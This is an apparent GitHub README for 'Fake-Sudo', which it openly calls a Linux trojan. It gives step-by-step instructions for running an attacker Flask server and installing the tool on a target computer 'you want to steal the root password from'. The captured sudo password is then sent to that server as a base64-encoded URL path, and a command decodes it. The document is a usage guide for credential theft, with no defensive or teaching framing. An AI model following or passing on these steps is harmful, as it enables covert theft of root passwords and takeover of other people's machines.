/Fake-Sudo

A linux trojan

Primary LanguageShellApache License 2.0Apache-2.0

Fake-Sudo

A linux trojan

How to use

WARNING: this only works for linux users.


The following commands shall be executed in the terminal.

  1. Clone the repo
    git clone https://github.com/NarmakTwo/Fake-Sudo.git
    cd Fake-Sudo
  2. Install pip if you haven't already
    sudo apt instal pip -y
  3. Make a server
    pip install flask
    python3 flask.py (you might have to make a venv, pip install virtualenv && python3 -m virtualenv venv1 && source ./venv1/bin/activate)
  4. Go to the computer you want to steal the root password from
  5. Clone the repo
    git clone https://github.com/NarmakTwo/Fake-Sudo.git
    cd Fake-Sudo
  6. Setup the program
    chmod a+x setup.sh
    source setup.sh
  7. Clear the screen
    clear
  8. Enter the public URL for the server you made (NOT 127.0.0.1)
    Site (include https:// or http://) <<< [your url]
  9. Once the server log says something, copy the end of the url (e.x. 0.0.0.0 - - [January/1/2021 10:23:04] "GET /qfgghheyfhrf;e/vfrtgisfkdgiyes HTTP/1.1" 404 -)and decode it
    echo [end of url] | base64 -d, That's the root password!
  10. That's it!